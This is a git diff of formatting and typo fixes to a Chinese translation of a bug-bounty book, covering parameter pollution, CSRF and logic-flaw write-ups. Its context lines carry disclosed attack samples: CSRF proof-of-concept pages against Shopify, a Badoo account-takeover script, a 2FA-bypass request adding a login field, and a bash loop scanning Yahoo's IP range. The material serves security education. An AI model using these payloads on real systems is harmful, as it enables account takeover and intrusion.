wizardforcel · wizardforcel · Oct 19, 2017 · Oct 19, 2017
diff --git a/6.md b/6.md
@@ -53,7 +53,7 @@ http://host/page.php?par=123%26action=edit
 产生的链接可能为：
 
 ```html
-<a href="/page.php?action=view&par=123&amp;action=edit">View Me!</a> 
+<a href="/page.php?action=view&par=123&amp;action=edit">View Me!</a>
 ```
 
 这会导致应用接受编辑操作而不是查看操作。
@@ -105,7 +105,7 @@ https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov&text=anoth
 
 难度：低
 
-URL：twitter.com 
+URL：twitter.com
 
 报告链接：https://blog.mert.ninja/twitter-hpp-vulnerability/
 
@@ -115,7 +115,7 @@ URL：twitter.com
 
 描述：
 
-2015 年 8 页，黑客 Mert Tasci 在取消接收 Twitter 的提醒时，注意到一个有趣的 URL。
+2015 年 8 月，黑客 Mert Tasci 在取消接收 Twitter 的提醒时，注意到一个有趣的 URL。
 
 https://twitter.com/i/u?t=1&cn=bWV&sig=657&iid=F6542&uid=1134885524&nid=22+26
 
@@ -162,14 +162,14 @@ https://twitter.com/intent/follow?screen_name=twitter&scnreen_name=erictest3
 Twitter 会通过让第二个`screen_name`比第一个优先，来处理这个请求。根据 Eric，Web 表单类似这样：
 
 ```html
-<form class="follow " id="follow_btn_form" action="/intent/follow?screen_name=er\ icrtest3" method="post"> <input type="hidden" name="authenticity_token" value="..."> 
+<form class="follow " id="follow_btn_form" action="/intent/follow?screen_name=er\ icrtest3" method="post"> <input type="hidden" name="authenticity_token" value="...">
     <input type="hidden" name="screen_name" value="twitter">
 
     <input type="hidden" name="profile_id" value="783214">
 
-    <button class="button" type="submit"> 
-        <b></b><strong>Follow</strong> 
-    </button> 
+    <button class="button" type="submit">
+        <b></b><strong>Follow</strong>
+    </button>
 </form>
 ```
 

diff --git a/8.md b/8.md
@@ -52,12 +52,12 @@ URL：`https://app.shopify.com/services/partners/api_clients/XXXX/export_install
 Shopify 的 API 提供了一个终端，用于导出已安装用户的列表，通过上面给出的 URL。在站点能够调用该终端，并且读取信息的地方存在漏洞，因为 Shopify 在该调用中并没有包含任何 CSRF Token 验证。所以，下面的 HTML 代码可以用于代表任何未知受害者提交表单。
 
 ```html
-<html> 
-    <head><title>csrf</title></head> 
-    <body onLoad="document.forms[0].submit()"> 
-        <form action="https://app.shopify.com/services/partners/api_clients/1105664/\ export_installed_users" method="GET"> 
+<html>
+    <head><title>csrf</title></head>
+    <body onLoad="document.forms[0].submit()">
+        <form action="https://app.shopify.com/services/partners/api_clients/1105664/\ export_installed_users" method="GET">
         </form>
-    </body> 
+    </body>
 </html>
 ```
 
@@ -83,30 +83,30 @@ URL：`https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect`
 
 Shopify 提供了 Twitter 的继承，来允许店主转推它们的商品。与之相似，也提供了功能来断开推特账户和被连接商店的链接。
 
-断开 Twitter 账户的 URL 卸载了上面。当进行调用时，Shopify 不验证 CSRf Token，这可能会允许恶意人员代表受害者进行 GET 调用，因此断开受害者的商店与 Twitter 的连接。
+断开 Twitter 账户的 URL 写在了上面。当进行调用时，Shopify 不验证 CSRf Token，这可能会允许恶意人员代表受害者进行 GET 调用，因此断开受害者的商店与 Twitter 的连接。
 
 在提供这份报告的时候，WeSecureApp 提供了下面的漏洞请求示例 - 要注意下面的`img`标签的使用，它对漏洞 URL 进行调用：
 
 
 ```
-GET /auth/twitter/disconnect HTTP/1.1 
-Host: twitter-commerce.shopifyapps.com 
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/2010010\ 1 Firefox/43.0 
-Accept: text/html, application/xhtml+xml, application/xml 
-Accept-Language: en-US,en;q=0.5 
-Accept-Encoding: gzip, deflate 
-Referer: https://twitter-commerce.shopifyapps.com/account 
-Cookie: _twitter-commerce_session=REDACTED 
+GET /auth/twitter/disconnect HTTP/1.1
+Host: twitter-commerce.shopifyapps.com
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/2010010\ 1 Firefox/43.0
+Accept: text/html, application/xhtml+xml, application/xml
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Referer: https://twitter-commerce.shopifyapps.com/account
+Cookie: _twitter-commerce_session=REDACTED
 Connection: keep-alive
 ```
 
 由于浏览器进行 GET 请求来获取给定 URL 处的图片，并且不验证任何 CSRF Token ，用户的商店现在已断开连接：
 
 ```html
-<html> 
-    <body> 
-        <img src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect"> 
-    </body> 
+<html>
+    <body>
+        <img src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect">
+    </body>
 </html>
 ```
 
@@ -135,21 +135,21 @@ URL：`https://badoo.com`
 最终，文件`https://eu1.badoo.com/worker-scope/chrome-service-worker.js`包含了`rt`值。更好的是，这个文件可以由攻击者任意读取，而不需要受害者做什么，除了浏览这个恶意页面。这里是它提供的代码。
 
 ```html
-<html> 
-<head> 
-<title>Badoo account take over</title> 
-<script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></s\ cript> 
-</head> 
-<body> 
-<script> 
-function getCSRFcode(str) { 
-    return str.split('=')[2]; 
-} 
-    window.onload = function(){ 
-    var csrf_code = getCSRFcode(url_stats); 
-    csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code; 
-    window.location = csrf_url; 
-}; 
+<html>
+<head>
+<title>Badoo account take over</title>
+<script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></s\ cript>
+</head>
+<body>
+<script>
+function getCSRFcode(str) {
+    return str.split('=')[2];
+}
+    window.onload = function(){
+    var csrf_code = getCSRFcode(url_stats);
+    csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;
+    window.location = csrf_url;
+};
 </script>
 ```
 
@@ -165,4 +165,4 @@ function getCSRFcode(str) {
 
 CSRF 表示另一个攻击向量，并且可能在受害者不知道，或者不主动执行操作的情况下发生。CSRF 漏洞的发现可能需要一些机智，同样，也需要测试任何东西的渴望。
 
-通常，如果站点执行 POST 请求，Web 表单都统一由应用框架保护，例如 Rails，但是 API 又是另外一个事情。例如， Shopify 使用了 RoR 编写，它对所有表单默认提供了 CSRF 保护（当然也可以关掉）。但是，显然意见，这对于使用框架创建的 API 不一定成立。最后，一定要观察任何通过 GET 请求执行的，修改服务器数据的调用（例如删除操作）。
+通常，如果站点执行 POST 请求，Web 表单都统一由应用框架保护，例如 Rails，但是 API 又是另外一个事情。例如， Shopify 使用了 RoR 编写，它对所有表单默认提供了 CSRF 保护（当然也可以关掉）。但是，显而易见，这对于使用框架创建的 API 不一定成立。最后，一定要观察任何通过 GET 请求执行的，修改服务器数据的调用（例如删除操作）。
diff --git a/9.md b/9.md
@@ -16,7 +16,7 @@
 
 之前提到了，这个渗透通过 Github 后端代码实现，它并没有合理验证 Egor 所做的事情，这在随后可用于更新数据库记录。这里，Egor 发现了叫做大量赋值漏洞的东西。
 
-应用逻辑漏洞，即发现前面讨论的这种类型的攻击，更加有技巧性，因为它们依赖代码判定的创造丁思渭，并且并不仅仅是提交潜在的恶意代码，开发者没有转义它。（不要尝试在这里简化其它类型的漏洞，一些 XSS 攻击也很复杂！）
+应用逻辑漏洞，即发现前面讨论的这种类型的攻击，更加有技巧性，因为它们依赖代码判定的创造性思维，并且并不仅仅是提交潜在的恶意代码，开发者没有转义它。（不要尝试在这里简化其它类型的漏洞，一些 XSS 攻击也很复杂！）
 
 使用 Github 的例子，Egor 知道了系统基于 Rails 以及 Rails 如何处理用户输入。在其他例子中，它涉及直接编程调用 API 来测试应用的行为，就像 Shopify 的管理员权限绕过那样。或者，它涉及重复使用来自认证 API 调用的返回值，来进行后续的API 调用，本不应该允许你这么做。
 
@@ -218,7 +218,7 @@ hackerone, hackerone.marketing, hackerone.attachments, hackerone.users, hackeron
 现在，命令`awss3help`会打开 S3 的帮助，并列出可用的命令。这些命令之一是`mv`，以` aws s3 mv [FILE] [s3://BUCKET]`的形式，所以我尝试：
 
 ```
-touch test.txt 
+touch test.txt
 aws s3 mv test.txt s3://hackerone.marketing
 ```
 
@@ -267,27 +267,27 @@ URL：无
 这里，Jobert 注意到，在这个过程中，一旦攻击者输入了用户名和密码，会发送一个 Token 来结束登录。在提交这个 Token 时，POST 调用为：
 
 ```
-POST /users/sign_in HTTP/1.1 
+POST /users/sign_in HTTP/1.1
 Host: 159.xxx.xxx.xxx ...
 
-----------1881604860 
+----------1881604860
 Content-Disposition: form-data; name="user[otp_attempt]"
 
-212421 
+212421
 ----------1881604860-
 ```
 
 如果攻击者拦截了它并向调用添加了用户名，例如：
 
 ```
-POST /users/sign_in HTTP/1.1 
+POST /users/sign_in HTTP/1.1
 Host: 159.xxx.xxx.xxx ...
 
-----------1881604860 
+----------1881604860
 Content-Disposition: form-data; name="user[otp_attempt]"
 
-212421 
-----------1881604860 
+212421
+----------1881604860
 Content-Disposition: form-data; name="user[login]"
 
 john
@@ -323,15 +323,15 @@ URL：`http://nc10.n9323.mail.ne1.yahoo.com/phpinfo.php`
 现在，你可能想知道 Patrik 如何找到了`http://nc10.n9323.mail.ne1.yahoo.com`，我保证。结果它 PING 了`yahoo.com`，它返回了` 98.138.253.109`。之后它将其传给了 WHOIS，并发现雅虎实际上拥有下面这些东西：
 
 ```
-NetRange: 98.136.0.0 - 98.139.255.255 
-CIDR: 98.136.0.0/14 
-OriginAS: 
-NetName: A-YAHOO-US9 
-NetHandle: NET-98-136-0-0-1 
-Parent: NET-98-0-0-0-0 
-NetType: Direct Allocation 
-RegDate: 2007-12-07 
-Updated: 2012-03-02 
+NetRange: 98.136.0.0 - 98.139.255.255
+CIDR: 98.136.0.0/14
+OriginAS:
+NetName: A-YAHOO-US9
+NetHandle: NET-98-136-0-0-1
+Parent: NET-98-0-0-0-0
+NetType: Direct Allocation
+RegDate: 2007-12-07
+Updated: 2012-03-02
 Ref: http://whois.arin.net/rest/net/NET-98-136-0-0-1
 ```
 
@@ -340,8 +340,8 @@ Ref: http://whois.arin.net/rest/net/NET-98-136-0-0-1
 Patrik 之后写了个简单的 bash 脚本来寻找可用的`phpinfo`文件：
 
 ```sh
-#!/bin/bash 
-for ipa in 98.13{6..9}.{0..255}.{0..255}; do 
+#!/bin/bash
+for ipa in 98.13{6..9}.{0..255}.{0..255}; do
 wget -t 1 -T 5 http://${ipa}/phpinfo.php; done &
 ```
 
@@ -420,26 +420,26 @@ URL：`stage.pornhub.com `
 根据他的 WriteUp，Andy 稍微切换了一些另见，并使用 Nmap 工具来深入挖掘` stage.pornhub.com`子域。当我问他原因时，它解释道，以他的经验，`stage`和开发服务器比起生产服务器更可能拥有错误配置的安全权限。所以，一开始，它使用了`nslookup`命令，得到了子域的 IP。
 
 ```
-nslookup stage.pornhub.com 
-Server: 8.8.8.8 
-Address: 8.8.8.8#53 
-Non-authoritative answer: 
-Name: stage.pornhub.com 
+nslookup stage.pornhub.com
+Server: 8.8.8.8
+Address: 8.8.8.8#53
+Non-authoritative answer:
+Name: stage.pornhub.com
 Address: 31.192.117.70
 ```
 
 我也看到，这个可以通过命令`ping`来完成，但是无论哪种方法，它现在拥有了子域的 IP 地址，并使用命令`sudo namp -sSV -p- 31.192.117.70 -oA stage__ph -T4 &`，它得到了：
 
 ```
-Starting Nmap 6.47 ( http://nmap.org ) at 2016-06-07 14:09 CEST 
-Nmap scan report for 31.192.117.70 
-Host is up (0.017s latency). 
-Not shown: 65532 closed ports 
-PORT STATE SERVICE VERSION 
-80/tcp open http nginx 
-443/tcp open http nginx 
-60893/tcp open memcache 
-Service detection performed.Please report any incorrect results at http://nmap.org/submit/ . 
+Starting Nmap 6.47 ( http://nmap.org ) at 2016-06-07 14:09 CEST
+Nmap scan report for 31.192.117.70
+Host is up (0.017s latency).
+Not shown: 65532 closed ports
+PORT STATE SERVICE VERSION
+80/tcp open http nginx
+443/tcp open http nginx
+60893/tcp open memcache
+Service detection performed.Please report any incorrect results at http://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 22.73 seconds
 ```